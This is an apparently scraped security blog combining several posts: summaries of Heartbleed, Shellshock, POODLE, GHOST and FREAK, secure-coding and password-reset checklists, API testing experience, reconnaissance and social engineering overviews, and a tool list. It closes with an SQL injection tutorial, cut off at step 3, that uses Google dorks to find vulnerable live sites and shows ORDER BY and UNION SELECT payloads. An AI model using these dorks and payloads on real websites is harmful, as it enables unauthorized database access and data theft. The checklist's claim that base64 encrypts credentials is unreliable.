Top 5 server level vulnerabilities you must know!

Top 5 server level vulnerabilities you must know!

You might have heard some these vulnerabilities irrespective of domain you are from. These are the well known vulnerabilities which caught attention in social media within the duration of one year (April 2014 and April 2015) Have you ever thought why these vulnerabilities got so much of public/social media exposure?  If not you are at the right place to understand the reason behind it.

Heartbleed was an issue that affected various versions of OpenSSL. This is one such vulnerability which allows attacker to remotely read memory of the systems/servers where vulnerable versions of OpenSSL are implemented. The type of information that could be exposed through depends on number of factors; most cases could include sensitive information like private keys, usernames and passwords of various logged-in users, sessions, database strings and much more.

Since OpenSSL is the most popular open source cryptographic library used to encrypt traffic on the Internet and considering ease of exploitation, large amount of private keys and other confidential information exposed, this vulnerability got much exposure on internet even the CVSS score was 5.0/10.0

Shocking shellshock was discovered by Stephane Chazelas. This is a vulnerability in GNU’s bash shell that allows attackers to run remote commands (remote code execution) on a vulnerable system. GNU Bourne Again shell (Bash) is a shell and command language interpreter used as the default shell on major UNIX based systems like Mac OS, red-hat Linux and much more.

Most of you out there would be thinking that you have bash pre-installed on your systems, now are you guys vulnerable to this attack? Big no! If this bash is accessible on internet then you may vulnerable, let’s say Apache; where in it allow user to set environment variables remotely on that victims system through “mod_cgi”. Shellshock vulnerability not only allows to set few environment variables but also leverages attacker to run malicious code or commands remotely.

  • Poodle :: CVE-2014-3566 (October 2014)

This is the next variant on OpenSSL after Heartbleed. POODLE, it stands for Padding Oracle On Downgraded Legacy Encryption, this bug was discovered by Google Security team. This is such a vulnerability where in attacker can perform man in the middle attack and can easily extract bits of encrypted data using oracle padding. This vulnerability had problem in CBC encryption scheme as implemented in the SSL 3 protocol which was similar to BEAST attack.

This vulnerability was initially affecting the SSLv3 protocol but later it was reported that even TLS 1.0 and 1.1 are also affected. Even though the impact is high, CVSS score given is 4.3 due to easy of exploitation which is pretty much medium/difficult.

  • Ghost :: CVE-2015-0235 (January 2015) 

The GHOST vulnerability is a serious weakness in the Linux glibc library. This is a sort of buffer overflow attack affecting gethostbyname() and gethostbyname2() function calls in the glibc library.

This vulnerability allows a remote attacker to make an application call to either of these functions to execute arbitrary code with the permissions of the user running the application or to remotely take complete control of the victim’s machine without having any prior knowledge of any credentials.

  • Freak :: CVE-2015-0204 (March 2015)

Servers that accept RSA_EXPORT cipher suites put their users at risk from the FREAK attack, this allows an attacker to intercept HTTPS connections between vulnerable clients and servers and force them to use weakened encryption, which the attacker can break to steal or manipulate sensitive data. The FREAK attack is possible when a vulnerable browser connects to a susceptible web server—a server that accepts “export-grade” encryption.

Unpatched OpenSSL, Microsoft Schannel, and Apple SecureTransport all suffer from this vulnerability. Note that these libraries are used internally by many other programs, such as wget and curl. You also need to ensure that your software does not offer export cipher suites, since they can be exploited even if the TLS library is patched.

More BUzz:

  • Mozilla said on its blog that “SSL version 3.0 is no longer secure. Browsers and websites need to turn off SSLv3 and use more modern security protocols as soon as possible, in order to avoid compromising users’ private information”.
  • Microsoft also announced that SSL 3.0 will be disabled across Microsoft online services over the coming months.



Good To Go Live?

This post does not make you hacker overnight, or by this you cannot hack a website, this is not a shortcut to become a security tester. This article is purely for helping individuals in building secured applications.

If you are from infosec, you might be tired of listening to people asking, is application good to go live, can I push my code to production? Below are some of the easy steps for developers for developing a secured application and this would reduce efforts and time of security team on vulnerability assessment and penetration testing. It is always advised to have a proper code with certain validation and verification.

1. Authentication:

a) Don’t hardcode credentials: Credentials should not be saved within the application. To some extent it might be useful during development stage but strongly advised not to be saved within the application code.

b) Store Database Credentials Securely: The credentials must be stored in a centralized location as a separate database for which authentication is required.

c) Error handling on invalid credentials: Error Messages on invalid credentials for authentication must be clear and must not reveal any sensitive data against username enumeration or other available fields.

d) Account lockout against bruteforce attacks: Account lockout policy needs to be implemented to safeguard against brute force attacks for both the login and forgot password features. The account should be locked for a certain period of time say 24/48 hours or until manually unlocked from the application support

e) Browser memory: Credentials should not be retained in browser memory after logout. The credentials should be encrypted with base64 or any secured hashing mechanism.

2. Authorization

a) Access control checks: Make sure that there is a separate mediatory between different privileges with a principle of common security assistance on the application.

b) Least Privileges: Users of an application should not provide root access instead minimal privileges could be given. If not explicitly allowed then access should be denied.

c) Don’t use direct object references: Do not allow direct referencing to any files or parameters that can be manipulated to grant access to the resources. Privileged access should be assigned based on individual user identity.

d) Validated redirects: An attacker can get access to private content without authentication, if redirection are not validated properly.

3. Input Validation and Output Encoding (Text Fields)

a) Output Encoding: All output operations must contextually encode data before displaying it on browser.

b) Set Encoding in the Application: For every page in your application set the encoding using HTTP headers or meta tags within HTML. This ensures that the encoding of the page is always defined and that browser will not have to determine the encoding on its own.

c) Prefer White-lists Over Blacklists: All the input fields should have input validation. White listing input is the preferred approach. Data that meets a certain criteria must be accepted.

d) Tokens against Forged Requests: Applications must embed random token that is not known to third parties into the HTML form for preventing CSRF (Cross-Site Request Forgery) attacks. This CSRF protection token must be unique to each request. This prevents a forged CSRF request from being submitted because the attacker does not know the value of this random token.

e) File Uploads: While accepting files from the user make sure to validate the size of the file, the file type, the file-name, the file contents and where is it going to save as well as ensuring that it is not possible to override the destination path for the file.

f) Parameterized SQL Queries: SQL queries should not be created dynamically using string concatenation. Similarly, the SQL query string used in a bound or parameterized query should never be dynamically built from user input.

g) Terminate/abort invalid inputs: This is a safety and final strategy on unaccepted characters that occur as input, but if implemented poorly it might lead to Denial Of Service attack in which attacker can flood the system with unexpected inputs, forcing the system to expend scarce processing and communication resources on rejecting it.

4. Session management

a) Session fixation: Session tokens must be changed during login and must have different tokens for logged in and logged out states.

b) Session variables invalidation: Session variables should be invalidated in the server after logout or session timeout after a certain period of idle session.

c) Unique session variables:  Session variables must be unique and should not be reused for different accounts.

d) Strong session variables: Session variables should be random and must be of certain length which is not easily guessable by the attacker.

e) Secure cookie variables: Usage of secure cookie attributes i.e., Httponly and Secure Flags. The cookies should be set to exact domain and path and the cookies should not be shared with other sub domains.

5. Communication Protocols

a) SSL: Clear text protocols such as HTTP is always prone to MITM (Man In The Middle) as an attacker can intercept requests in the network level hence SSL is recommended during authentication and post login pages.

b) Disable HTTP: Resources accessible on secured channel such as HTTPS must restrict access with clear text protocols such as HTTP

c) Salted passwords: Passwords must be stored using a secured algorithm and iteratively hashing with a random salt added to hash  makes more stronger to crack

d) SSL Certificates: SSL certificates used must be from a reputed CA signed with secure exchange keys and ciphers.

6. Logs

a) Maintain logs on all privileges: This includes all authentication activities, all privilege changes, administrative activities, access to sensitive data.

b) Secure your logs: Logs are to be saved carefully and maintained on a secure server against tampering to avoid from loss and logs should be maintained for a specific duration according to industry policies.

c) Improper logs: Maintaining appropriate logs and storing them are the important part of logging management. Sensitive information should not be part of logs and the entire log needs to be encrypted in certain situations.

7. Reset password

a) Once reset password link is used, link should be expired for the next use.

b) Till the user resets password, the previous password should not be disabled.

c) Even if the link is unused the reset password link needs to be expired within a defined time say 48 or 72 hours.

d) Reset password link should be over an SSL

e) Old/previous password reset link should be expired once new password link is generated.

f) Token used in reset password link should be mapped to the users email ID and should not be used to reset password of another user.

g) Token should not be sequential or easily guessable or a short one. It should be minimum of 16 characters so that it is not easily brute forced.

h) Password policy should be maintained on reset password page.

8. Error Handling

a) Generic error messages: Display generic error messages to the user, error messages should not reveal details about the application like technology used, internal IP or path, and stack-overflow errors.

b) Framework related errors: All framework generated errors must be generic or messages can be customized so that sensitive information about the framework is not revealed.

c) Unhandled exceptions: Exceptions are strictly advised to handle errors either at client or server side. It is good to have ‘finally’ code block for all unhandled errors with generic error message.


Best Practices for Securing Forgot Password Feature

Recently, I authored an article at TestingCircus e-magazine and I like to publish the same on my blog so that I can reach out to my readers who are not subscribed to testingcircus or couldn’t read due to whatsoever reason(s). You can find my article in the following link

Most of the applications having user interaction needs to be more secured and hence securing the application for attacks on stealing users credentials is important. Recent survey says that most of the applications are vulnerable at the user level. For example, its observed that Forget Password feature had most attacks in recent days.

Forget password feature needs to be implemented in such a way that it covers all the possibilities of any attack vector. On a recent case study about a leading security firm says that there was an attack on an social media application because of flaw in the forgot password feature. Hence I would like to come up with guidelines for implementing forgot password feature which ensures the application is more secured.

Initial step during forgot password could be gathering the identity of the user by asking various questions which would in turn proves the identity of the account like, what was the last reset password user remember? Last time user accessed his account? or any other similar questions which reveal the identity of the user.

The next step could be Security Question!

Security questions should not be the same old traditional way asking about mother’s maiden name/place of birth/ favorite teacher or any such questions which are easily crackable and letting the attacker to easily compromise the account. Instead if the application allows user to set his own set of questions) which could infinite set for an attacker to guess the answer.

One more important thing to remember here is that the input field for accepting the answer for the security question should be of type “password” this would protect from shoulder surfing, most of the applications does not do so, which is of more important. Number of attempts user can try answering the security question should also be limited or CAPTCHA needs to implement to prevent brute force attacks. Once the user provides the correct answer the password can be resetted in 2 ways.

  • Reset password link with a token associated to it
  • Temporary password

One of the wage methods on forgot password feature followed by some developers is directly sending the password which was set by the user during registration. This happens only when the password is saved in clear text. Good practice in storing the password is to be hashed+salted before storing it.

Reset password link with a token associated to it

  1. Once reset password link is used, link should be expired for the next use.
  2. Till the user resets password, the previous password should not be disabled.
  3. Even if the link is unused the reset password link needs to be expired within a defined time say 48 or 72 hours.
  4. Reset password link should be over an SSL
  5. Old/previous password reset link should be expired once new password link is generated.
  6. Token used in reset password link should be mapped to the users email ID and should not be used to reset password of another user.
  7. Token should not be sequential or easily guessable or a short one. It should be minimum of 16 characters so that it is not easily brute forced.
  8. Password policy should be maintained on reset password page.
  9. Display custom error message to avoid username enumeration

Temporary Password

  1. Application should force the user to change the password on the first login.
  2. If not used the previous password should not be disabled.
  3. Temporary password should be one time use and should not be able to use it again
  4. Flush the memory of the browser after password change
  5. 302 redirection after successfully resetting the password.
  6. Validity for the temporary password could be not more than 4-5 hours.
  7. Password should not be the same as old password.

Sending reset password link with a token associated to it is the best and economical way of implementing forgot password feature, it avoids usage of CAPTCHA and increased accessibility.

Experience of Security testing on API’s


This blog post is all about my first experience with Security Testing on APIs. Back in 2013, I was working on a project “XYZ” in Moolya Software Testing. It all started on April 1st of 2013 when Pari, the “Master Shifu” sent me the mail with the details of the project, which is an advanced voicemail service especially for business people who do not want to miss the calls, at busy times. Ok, now what form is the product in? Is it web app/mobile app? No, those were API’s; we didn’t have any idea on APIs. First task was to understand API and its functionality. Learnt about the API from team members and by exploring on the internet. Understood what an API is, why are they there for an app and how they are used in an app?

An API — Application Programming Interface — allows your product to communicate with each other. In this way, an API allows you to open up data and functionality to other developers and to other businesses.

As API’s act as a backbone for any application, in simple words which are of pure technical stuffs which communicate between presentation layer and the database. API’s reside in business layer and we can test them for its core functionality. And testing functionality of the application in this state will help reducing maintenance of the application. This triggered me to test the API for its security, which would result in great impact on the product or the application. And that is where I decided to do security testing on API’s. Now coming back to the project, what are we supposed to test, what are the requirements, why are we testing, scope of testing, etc were some of the questions that arose.

After getting clarity on all these queries, we started testing. The next issue was to understand windows azure. These were not normal API’s but were built on different technology (Windows Azure). Initially we explored about this technology and started testing. Then there was a dilemma in selecting the tools for testing API’s. We have numerous tools for testing API, selecting the best tool which suites the project was difficult. Finally I landed up on selecting SoapUI, which helps in Manual/Automation testing. Continued with API automation, which was my primary task. Meanwhile, I was testing manually for its functionality.  I thought, why don’t I start security testing on API’s? Now the question was how? Where? Now comes the exploration part on testing API for its security. In simple words, how can a hacker misuse API, what are the effective attacks on API? Santhosh Tuppad who is a well-known security tester suggested me with a book called “Hacking web services” by Shreeraj Shah, which helped me in understanding what kind attacks can be done on APIs.

Now coming to the attacks mentioned in the book, some of the attacks were simply great, but most of them were outdated. Where today’s servers are built in such a way, where it can handle these kinds of attacks in the initial stages. Now coming back to the project, First task was to note different type of attacks or vulnerabilities.

While I was reading, Shreeraj Shah’s book on Hacking Web Services, I found out that they were traditional approaches. However, it was helpful in understanding several concepts. The challenge was to learn new techniques or new ways of hacking web services. There started my exploration! Well, I was doing black box testing, it all depends how much Quality we want to bring in with testing as a black box tester. While performing the web services testing, I didn’t actually look into the code of the application (like the White box tester’s do). I tried to cover all the possible scenarios’ using the tool (SoapUI). The “Groovy Script” came into picture when I started performing the check automation of regular testing on API’s. Though it is not necessary to learn Groovy to perform testing, it surely gives an extra advantage over other testers 😉

Tests that I performed to find vulnerabilities,

  • Insecure Direct object Reference

  • Information Leakage and improper error handling

  • Authentication and Certification/Permission and Access Issues

  • Authorization

  • SQL/LDAP/XPATH/OS Command Injection

  • Virus/Spyware/Malware Injection

  • Session/Parameter Tampering

  • Denial of Service/Large Payload

  • Brute-force

  • Data type mismatch/Content Spoofing

  • Information Leakage/Error leakage

  • Replay Attacks

  • Buffer Overflow

  • XML Parsing Attacks

  • Spoiling Schema

  • Complex and Recursive structure as payload

  • Fault Code Leaks/Poor Policies

Learning the basic level of Security on API was fun & easy. To master the same anyone will need to get good grip over basic vulnerabilities. As a starting point for above mentioned attacks, I searched forums & blogs for detailed information.

When malicious requests are executed number of technical layers can be targeted, including,

  • NIC (Network interface Card) and its drivers.

  • Operating System, as it processes the incoming request from the NIC.

  • Target application server that handles the request (for example Apache, IIS, etc.)

Let me explain this in a little more detail on how I could manage to accomplish the task, which is Security testing on API’s.

When I come to think of it – how would I identify security vulnerabilities in the first place? What response would I get back when trying, for example a SQL Injection attack that would allow me to identify that there is security vulnerability? Actually, this wasn’t that easy.

More often I will get an error message back that tells me that the service was unavailable to process the malicious request – this might be a good thing during development but that was one of the situations where I needed to don the hat of the hacker; does the error message tell me something I shouldn’t know about the system? For example which database they are using? Which version? Which language or framework? Maybe it exposes internal IP address? Any of these might be exactly what the hacker is looking for, the information allows them to target specific attacks on your application (there are publicly available databases of known security issues in most software like “Exploit DB”) which in turn might give them the backdoor, what an attacker would have been looking for. It’s something called as “Sensitive Information Exposure” it searches messages returned by application for any information that might expose system details to the hacker – version numbers, software technologies, etc.

Other scenario was tests resulting in a Denial of Service. These are unusual but valuable in the sense that, I found them first and can make sure that they won’t happen again so that the end users using the application are not affected. The actual responses to a Security Test and how to interpret them from a security point of view was one of the major issue which I faced, it requires corresponding system knowledge and understanding to be able report them, that would pin point exploits in responses which helped me the most.

Finally I conclude that,

  • Neglecting possible security vulnerabilities and related issues in your services and APIs can put your data and your business at serious risk.

  • Taking security seriously and building basic expertise around it is an investment well worth making.

  • The core mechanics of most security vulnerabilities are easy to understand, test for, and prevent.

Information Gathering (Footprinting)


Information Gathering/Footprinting is crucial in the whole process of penetration testing.More the information gathered about the target(application/user), more is the probability that appropriate results are obtained. Many tools are available for footprinting which I will be sharing in this post.

Information gathering is not just one phase in security testing! Its an art where each one of us should be a master shifu at gathering relevant info for a better experience in the whole process of Penetration testing.

This post would give you a glimpse of footprinting like, what is footprinting? Purpose of footprinting? What does an attacker gain from footprinting? The various information that can be gathered and how could that be useful in attacking/securing an application or a website.

Ok let me give you a generic example, If a theif wants to rob a bank how does he plan his moves? Will he directly go to the bank and rob without a plan or will he plan by collating all the information required to execute the plan successfully?

The theif would plan by collecting the information from different sources like security loopholes and other required information. Once he plans his moves he would be ready to execute his plan and would go ahead with robbing the bank.

Without this information it would be very difficult for a robber to successfully rob a bank.

Cautionary note: This is only an example. Please use the information wisely and for the purpose of learning only.

Reconnaissance is one such way of collecting the information about an organization/application. The basic reason behind Information gathering here in security context is to learn about the architecture, infrastructure, design, security loop holes of an organization or any application..

There are 2 ways of collecting various information about an organization or 2 types of footprinting,

  1. Active Footprinting

  2. Passive Footprinting

I would be explaining about different ways of gathering information in both the ways using different variety of tools and techniques.


1.    Whois is a widely used Internet record listing that identifies who owns a domain or who has registered that particular domain and how to contact them. The Internet Corporation for Assigned Names and Numbers (ICANN) regulates domain name registration and ownership. Whois records have proven to be extremely useful and have developed into an essential resource for maintaining the integrity of the domain name registration and website ownership process.

A Whois record contains all of the contact information associated with the person, group, or company that registers a particular domain name. It also provides information about when was a particular domain registered or getting expired, and when was the last update made on that domain and sometimes this records may also provide the administrative and technical contact information.

2.    Metagoofil is an information gathering or footprinting tools used for extracting information or data which is publicly available on internet belonging to company. INformation can be of any formats like pdf,xls,ppt,doc and much more. Basically metagoofil performs google search in obtaining different files it also uses different file type libraries like PDFMiner which have an index of different PDF files and others. It also provides very useful information like usernames which would in turn be helpful for brute force attack and other information like versions of different softwares and servers being used.

 3.    The Harvester is also used for information gathering where it helps you in extracting the email address and subdomains of a particular target, Harvester is an simple python script which searches information from giant search engines like Google, Yahoo, Bing and much more.

4.    Nmap can be extensively used for information gathering with the help of Nmap Scripting Engine. It can he helpful in basic information about the target like IP address and the ports open and services running, it can be used in determining the information like whois over an nmap console which we discussed earlier, it is also used in harvesting email addresses which discussed earlier(The Harvester), it also helps in discovering additional host names or sub domains that exist on the same server. You can learn more on Namp and other tools on my previous post(Security testing for beginners)

5.    A search engine named Bing( by Microsoft has a unique feature where in which it could help hacker in enumerating all hostnames which bing had indexed on that server or specific IP address. We can easily use it parameter IP: followed by IP address of the server where in which it provides all the websites hosted on that server. An alternative to the same would be Reverse IP lookup

6.    Blackwidow and HTTrack Website copier is used in better understanding of the website flow as it can be used in cloning the entire domain and could help in offline debugging and to perform tests on local. It can be used in the cases where the server responds only on a particular network.

7.    One of the easiest and craziest way would be Social Engineering. It is an art of wangling people to reveal confidential information which is not supposed to be told out. It involves gaining the trust of an individual in order to obtain confidential information. Social Engineering is a non technical attack but involves tactics for making a victim get trapped. This is an art of gaining important information about an organization, its employees Department, Extension, Email, Role, Phone number etc.

For more information you can have a look at my previous post What is Social Engineering which can give interesting insight on how anyone can be victimised.

I could conclude as, Information Gathering or Footprinting or Reconnaissance is the initial step for penetration testing, more the information you gather more you would be successful in performing the penetration tests. If you are interested in learning further, I would suggest you to start using Kali-Linux or BackTrack!


What is Social Engineering?


Hmmm. I decided to write this blog keeping aside my inhibitions, and I’m happy I am doing it, particularly, this one!

Okay, I assume you would have heard of something called “Social Engineering”.  If yes, are you aware that there is no patch for human stupidity with respect to Social engineering?  According to me, this is true, as we see many companies/users getting victimized even after many past experiences.

Human beings are weakest links!

What is Social Engineering

Social Engineering is an art of wangling people to reveal confidential information which is not supposed to be told out. It involves gaining the trust of an individual in order to obtain confidential information. Social Engineering is a non technical attack but involves tactics for making a victim get trapped. This is an art of gaining important information about an organization, its employees, systems etc.

What is Social Engineering

Here, the victim can be anybody; where which includes a high possibility of a hacker himself getting victimized at times! This would be possible when the hacker could be a part of a group of friends, and the entire  group can be victimized at once, as it is completely based on trust where tricking them emotionally would not be very difficult.

Sometimes, it so happens that  in a continuous conversation, we do not even realize that we are revealing personal & confidential information, or end up revealing some hints, which will in turn make the job of a hacker easier, to hack into their extremely personal & confidential information.

Some basic information which can be gathered very easily would include a person’s favorite color, actor, food, car, teacher, best friend etc. It might even include some of the information about childhood, school days or about his/her family. Such information would suffice to an extent in order to hack into any account, as the secret questions to recover the password for any application would mostly involve these.

Let assume, you have become the victim. Now, do you mind answering any questions like your favorite teacher or your pet name or any such questions mentioned above? If you have a very close friend who would try for a social engineering attack does not have to ask you for any such questions, he would be aware of you and your likes and dislikes up to some extent.

A sample Email which can misslead the admin of an organization (An example for social engineering
A sample Email which can mislead the admin of an organization

Generally if you ask for a piece of sensitive information, people naturally become suspicious immediately. If you pretend you already have the information and give out wrong information, they will frequently correct you unconsciously – thereby rewarding you with the correct piece of information you are looking for.

Social engineering toolkit! No, we do not need a SET to victimize anyone! Real-time hackers do not completely depend on social engineering tool kit.

Social Engineering

Preventing Social Engineering:

In my opinion, I don’t think there is any well defined way or application which helps user to prevent social engineering. Different methods are being evolved hence having an eye on different attacks is recommended.

Educating employees of an organization and performing random tests on them might be helpful to identify the mouse traps within the organization, it is recommended not to share their passwords even with their higher authorities or team leaders, let them have an administrator password if access required.

Organizations have to take care of social engineering too, along with other security attacks as it holds more than 50% of share on different attacks.

Frequency of social engineering when compared to other security Attacks.

Frequency of different Security Attacks
Frequency of different Security Attacks


If you have any methods of preventing social engineering or any other social engineering cases you are aware of (attention-grabbing) please comment. Let others know your experience.

Security Testing for Beginners

Recently, I authored an article at TestingCircus e-magazine and I like to publish the same on my blog so that I can reach out to my readers who are not subscribed to testingcircus or couldn’t read due to whatsoever reason(s).

Thanks to Mr. Santhosh Tuppad for encouraging me to write this article and Mr. Ajoy Singha for providing me an opportunity to write for TestingCircus and I am looking forward to continue my contribution to TestingCircus e-magazine by writing, you can find my article in the following link

Without much ado, here I present you with my article.

There is no wrong way to start hacking, everything is right way and I have my own way. Whatever your style of hacking is, make sure it’s consistent. If you are starting out today you can be benefited based on your skill sets. Don’t learn to hack, hack to learn.

Well, coming to the point how did I start hacking or how did I land up here, It was in the year 2008. I was in my 2nd year diploma where one of my friends was trying to download videos by searching on Google. In 2008, getting a video to your local machine was one of the biggest achievements for people of my age. My friend showed me how to get the videos from Google, by extracting only videos from the vast search results. He asked me to enter some string along with the search query.

Filetype: avi <Search Query>

He didn’t know what it was, and he told that he came to know about it through his senior. Ok!! As I am very much interested in computer technologies, I tried to find out what they are. I referred to many articles and found that they are called as GOOGLE DORKS. I even came across some of the terminologies like White, Black and Grey hat hackers. During this phase, I got a common response from whoever I asked about hacking, which was “Hacking is very difficult and I don’t know anything on it except that it is illegal”.

But, it is not illegal as I told you before. There are 3 categories of hackers:

  • Black Hat Hackers
  • White Hat Hackers
  • Grey Hat Hackers

Black Hat hackers are those who perform undercover hacking for malicious reasons and also with intent to harm others, such people can also be referred to as ‘crackers’.

White Hat hackers are those who perform hacking for legitimate reasons and use their skills and knowledge for good, e.g. IT Security technicians testing their systems and researchers testing the limitations of any software.

Grey hat hacker is a combination of a black hat and a white hat hacker. A grey hat hacker may surf the internet and hack into a computer system for the sole purpose of notifying the administrator that their system has a security defect.

According to a survey the most common technique of hacking a website is SQL Injection. SQL Injection is a technique in which hacker insert SQL codes into web form to get Sensitive Information like (User Name, Passwords) to access the site and deface it. The traditional SQL injection method is quite difficult, but nowadays there are many tools available online through which any script kiddie can use SQL Injection to deface a website. Because of these tools, websites have become more vulnerable to these types of attacks. Some of the tools used for SQL Injection are mentioned in this article. However, as I know nothing is bug free and there will be exploits every minute/hour.

Some of the tools which help in finding the vulnerabilities are discussed below:

1.      Wireshark is also known as Etherea. It is one of the most powerful tools in a network security, as a network packet analyzer on any network. It is used to capture each packet sent to or from your system to the router. If you’re capturing on a wireless interface and have promiscuous mode (Admin/super user) enabled in your capture options, you’ll also see other packets on the network sent from different nodes. This also includes filters ex: DNS, TCP, UDP, ip.addr etc), color-coding, capturing packets and other features that let you dig deep into network traffic. Wireshark is an extremely powerful tool; this is just scratching the surface of what you can do with it. Professionals use it to debug network protocol implementations, examine security problems and inspect network protocol internals. To get this position, it takes a fair amount of practice. It takes practice to know how and where to capture right data, filters to use, and how to interpret the data.

People willing to learn can use this link to get sample captures on Wireshark to get experience hands on this

2.      Fiddler is an open source web debugging tool which captures all the traffic between your computer and the internet, it also acts as proxy between the browser or any application on the local machine and the internet say, all the traffic flows through the fiddler and the requests can be altered and the altered request is been sent to the server. In simple words fiddler sits between HTTP client that is the browser and the HTTP server.

Normally it would be configured with all the browsers being used on a particular machine or you may have to manually configure the browser to capture all the traffic in/out of our machine.

Fiddler can also be used to find the statistics, inspect the request or the response and can even act as an auto responder and is capable of sending request from the fiddler wit out any browser. Fiddler is designed in such a way that it capability to run API’s through composer functionality and can even right some scripts which can be helpful for check automation and has the capability to decrypt HTTPS traffic.

3.      Nessus, the first public release was in 1998. Nessus was an open source vulnerability scanner, recently nessus turned into a paid tool. This tool is used for scanning both web application and network, Network can be either internal or external IP/Network. Nessus is designed to automate the testing and discovery of known security problems. Allowing system administrators to correct problems before they are exploited.

Nessus uses a client server design that allows the user to set up one server that has multiple nessus clients that can attach and initiate vulnerability scans, where servers can be placed at various strategic points on a network allowing tests to be conducted from various points of view.

Nessus security checks vulnerabilities and database is updated on a daily basis which could be retrieved to cross check the database with the command “nessus-update-plug-ins”.

4.      IBM Rational AppScan is an automated web vulnerability scanner which helps in finding the vulnerabilities quickly and effectively, even a svan (semi technical person) can also use the tool and find vulnerabilities.  Using IBM app scan, we can decrease the risks in web application attacks and data breaches. It helps in testing the web application either on production site or on any staging sites which can ensure that it checks for web attacks.

Basically in IBM AppScan once you add a web app to test for its security the initial step is to crawl all the pages/links on that application which are allowed to be crawled based on robots.txt

Basic functionalities of IBM AppScan are

  1. Gives the larger coverage of test report
  2. It mainly concentrates on top 10 OWASP (Open Web Application Security Project) web application vulnerabilities.
  3. Accurate and advanced scanning algorithms used hence less false positives
  4. Recommendations, Which I personally like here, It gives us description of each vulnerability found and the risk involved in not fixing it.

As we all know automated scanning is not perfect all the time and is not advisable to completely depend on automated scanner, hence they have provided a manual scanning for any vulnerability found to give the perfect solution without false positives.

IBM app scan is a paid tool and it has a trial version as well if you are interested in exploring the application.

5.      Nmap, also known as “network mapper”, it is an open source application which helps in quickly scanning different ranges of devices such as desktops/laptops or any mobile devices and provide valuable information about the devices which are connected to a particular network. Nmap is available for all the platforms where it can be operated in 2 ways, command mode and GUI mode but most people prefer command mode for its advanced features but requires technical knowledge.

Nmap uses raw IP packets to determine what hosts are available on the network (Host Detection), the services that are enabled, the operating system and version, using TCP SYN or a TCP Connect ping to gather active hosts. Nmap is used by security researchers and hackers who want to find the weakness and exploit them.

Nmap can provide different types of scans, where some are more aggressive and some are simple, designed to be stealthy and scan undetected. Depending on the type of scan performed, different information can be discovered; some of the scans are Ping, SYN Stealth, UDP Scan, IP Protocol Scan, ACK Scan, RPC Scan, List Scan etc.

6.      Havij is an automated SQL Injection tool that helps hackers or security researchers to find and exploit SQL Injection vulnerabilities on a web page on a vulnerable web application, using Havij user can access database, retrieve DBMS users and  password, dump tables and columns, fetching data from the database, running SQL  statements and  executing commands on the  operating system.

Hackers use Havij along with vulnerability scanners such as IBM AppScan or Web Inspect, vulnerability scanners find vulnerabilities but not help you in actual exploitation and that’s where Havij showcases its functionality.  In other words, vulnerability scanners will help you in finding list of vulnerable webpage’s whereas; Havij helps you with the access to the database for entire exploitation.

Once URL is feed to the Havij, it comes up with a list of databases being used, version, and db-name’s. Later selecting a particular database we can drill down to tables, and then to columns and even to the actual data. Passwords would hashed usually, there are set of de-crypter’s  associated with the tool which help user to decrypt the hashed password, it is also associated with an algorithm which helps users to find the admin page of a particular web application. In simple words it’s more useful for hackers than security researchers.

7.      SQLMap is one of the most popular and powerful open source SQL injection automation tool, which is built on python and can run on any platform if python is installed in it.

Giving a vulnerable URL, SQLMap can exploit the database and provides with sensitive information like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions.

We can run this application only on command mode and doesn’t have an interface, and has simple commands to extract information from the database.

Now I am on my own domain (! Wohoooo!

Dear readers, you have been following me on this blog which is on * I am freaking happy to announce that I have transferred all the blog posts to new domain and new hosting of my own. Please visit from now on. Thanks all!

Tutorial on SQL Injection

Big time!!! Been long time since I posted this blog, this would be something interesting than usual one which helps you to bring out the hacker inside you 😉 SQL Injection which is commonly known as SQLI! Here I would be demonstrating about SQLI which is the one of the top 10 vulnerabilities listed in OWASP (Online Web Application Security Project) not just one of the top 10 vulnerabilities but oldest and topmost from so many years.

This blog, no I can say tutorial! This tutorial gives you the idea to get into any database which has SQL vulnerability. So let’s go ahead with basics.

What is SQL?
SQL (or Structured Query Language) is a special-purpose programming language designed for managing data held in a relational database management system (RDBMS).

What is SQL Injection?
SQL injection is a code injection technique that exploits security vulnerability in an application’s software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.
To start with this exploitation we can utilize Google in finding the sites which has possibility of having the application vulnerable using Google Dorks.

What are Google Dorks?
Google dorks or Google Operators are the center of attraction for Google Hacking, which helps in extracting required information from the Google. Many hackers use Google to find vulnerable webpage’s and later use these vulnerabilities for hacking. You can get a list of Google Dorks here

Using Google Dorks:

But for now the only Google dorks we will be using for extracting required information are,

  • inurl:index.php?id=
  • inurl:page.php?id=
  • inurl:prod_detail.php?id=

These will list all websites containing ” prod_detail.php?id=in the URL. (Depending on Dork we are using)

NOW, enter that into Google and start opening WebPages. Finding SQLI Vulnerabilities in websites is very simple. You can simply use a single ‘ or a ” at the end of the URL.


If the website is vulnerable it will produce an error which is similar to the following:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

If you see this that means you have found a SQL Injection vulnerability in the website. For security purpose let’s consider domain as “example” for this tutorial:

Exploiting the vulnerability;

SQL Injection Error Message
This shows that the website is vulnerable to SQL injection.

Step 1: Finding how many columns the site has

To do this we use the Order by query to find how many columns it has. order by 100–

We will most likely get an error saying,

Query failed: 1054 – Unknown column ‘100’ in ‘order clause’
Select products_model, products_name, products_short, products_image, products_price, products_status, products_describe, categories_name, manufacturers_name from products join manufacturers on (fi_manufacturers = id_manufacturers) join categories on (fi_categories = id_categories) where id_products = 837 order by 100–

SQL Injection Error on Colomns
That means the number is too high so we will lower it. order by 10–

If we get an error yet again, the number is still too high, try with lesser value. Let’s take 7 order by 7–

The page will most likely load successfully, if not, then the site may not be fully vulnerable to SQL injection. If it loads successfully increase the number yet again. Once you get to the Max number where it loads successfully, that is the amount of columns a site has. Here in this example it is 9. order by 9–

SQL Injection Order By
Step 2: Finding the vulnerable columns.

To do this we use Union All Select. Like So, union all select 1,2,3,4,5,6,7,8,9–

With some sites that won’t be enough to find the vulnerable columns, sometimes it needs the extra push, so we need to force the error. Add a behind the 837 like this prod_detail.php?id=-837

The URL should look like, union all select 1,2,3,4,5,6,7,8,9–

SQL Injection Union Slect All

Now it will show the vulnerable columns. The vulnerable columns will be numbers that weren’t there before; the page will also look a lot different. In this case Columns 1, 2,3,7,8 and 9 are vulnerable.

Step 3: Exploiting vulnerability

